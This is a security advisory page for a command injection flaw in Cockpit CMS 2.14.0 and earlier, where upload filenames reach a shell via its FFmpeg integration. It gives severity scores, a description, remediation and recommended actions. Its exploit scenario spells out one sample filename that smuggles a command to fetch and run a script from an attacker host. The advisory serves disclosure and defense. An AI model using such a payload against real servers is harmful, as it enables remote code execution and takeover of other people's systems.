EUVD-2026-58799
GHSA-4x4q-mx3g-g3m2
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable via HTTP upload endpoint, low complexity, low privilege (valid account with upload permission required), no scope change since execution is contained to the web-server user.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Cockpit CMS 2.14.0 and prior contains a command injection vulnerability in the FFmpeg integration that allows authenticated users with only the assets/upload permission to execute arbitrary commands by uploading a video file with a shell metacharacter-laden filename. The unsanitized filename is interpolated into a shell command executed via Process::fromShellCommandline() before the slugify() sanitizer runs, enabling injected shell metacharacters such as backticks, $(), and semicolons to escape the FFmpeg command context and execute as the web-server user.
AnalysisAI
Command injection in Cockpit CMS 2.14.0 and earlier allows any authenticated user holding only the assets/upload permission to execute arbitrary OS commands as the web-server user. The FFmpeg integration passes the raw, user-controlled upload filename directly into Process::fromShellCommandline() before slug sanitization runs, meaning shell metacharacters - backticks, $(), semicolons - in the filename escape the FFmpeg invocation context. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated Cockpit CMS account with the assets/upload permission - this is the minimum permission needed and does not require administrative or site-manager privileges. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) correctly reflects a low-complexity, network-reachable, low-privilege attack yielding full confidentiality, integrity, and availability impact on the vulnerable system. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a Cockpit account holding only the assets/upload permission uploads a video file named something like 'video$(curl attacker.com/shell.sh|bash).mp4'. When Cockpit processes the upload through the FFmpeg thumbnail or transcode path, Process::fromShellCommandline() passes this filename through /bin/sh, causing the embedded subshell expression to execute as the web-server user before slugify() can sanitize it. … |
| Remediation | The primary fix is to upgrade Cockpit CMS to a version containing upstream commit 28813596f57685f63d3a48f655e8e9bd2b535cab, which rewrites all FFmpeg invocations to use array-based Process construction, eliminating shell interpolation. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all users with the assets/upload permission and restrict to trusted administrators only; enable process execution monitoring on the web server. …
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Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
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External POC / Exploit Code
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